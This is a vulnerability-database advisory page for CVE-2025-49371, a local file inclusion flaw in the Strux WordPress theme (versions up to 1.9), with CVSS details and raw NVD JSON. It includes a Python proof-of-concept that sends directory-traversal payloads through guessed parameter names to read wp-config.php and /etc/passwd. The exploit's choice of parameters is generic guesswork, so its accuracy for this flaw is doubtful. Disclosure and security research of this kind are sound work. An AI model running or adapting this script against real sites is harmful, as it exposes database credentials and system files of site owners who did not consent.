Security Vulnerability Report
中文
CVE-2025-49371 CVSS 8.1 HIGH

CVE-2025-49371

Published: 2025-12-18 08:15:52
Last Modified: 2026-04-15 00:35:42

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes Strux strux allows PHP Local File Inclusion.This issue affects Strux: from n/a through <= 1.9.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

AncoraThemes Strux <= 1.9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-49371 PoC - Strux Theme Local File Inclusion # Target: WordPress site with vulnerable Strux theme <= 1.9 def exploit_lfi(target_url, filename): """ Exploit Local File Inclusion vulnerability in Strux theme :param target_url: Target WordPress site URL :param filename: File to read (e.g., ../../../../wp-config.php) """ # Construct malicious URL with LFI payload # Common vulnerable parameter patterns in WordPress themes vulnerable_params = [ 'template', 'theme', 'page', 'file', 'action', 'load', 'inc' ] for param in vulnerable_params: payload = f'../../../../../../{filename}' params = {param: payload} try: response = requests.get(target_url, params=params, timeout=10) if response.status_code == 200: print(f'[+] Found vulnerable parameter: {param}') print(f'[+] File content:') print(response.text) return True except requests.exceptions.RequestException as e: print(f'[-] Error: {e}') return False # Example usage to read wp-config.php # target = 'http://target-site.com/wp-content/themes/strux/' # exploit_lfi(target, 'wp-config.php') # Read /etc/passwd # exploit_lfi(target, '../../../../etc/passwd')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-49371", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:15:51.553", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes Strux strux allows PHP Local File Inclusion.This issue affects Strux: from n/a through <= 1.9."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/strux/vulnerability/wordpress-strux-theme-1-9-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}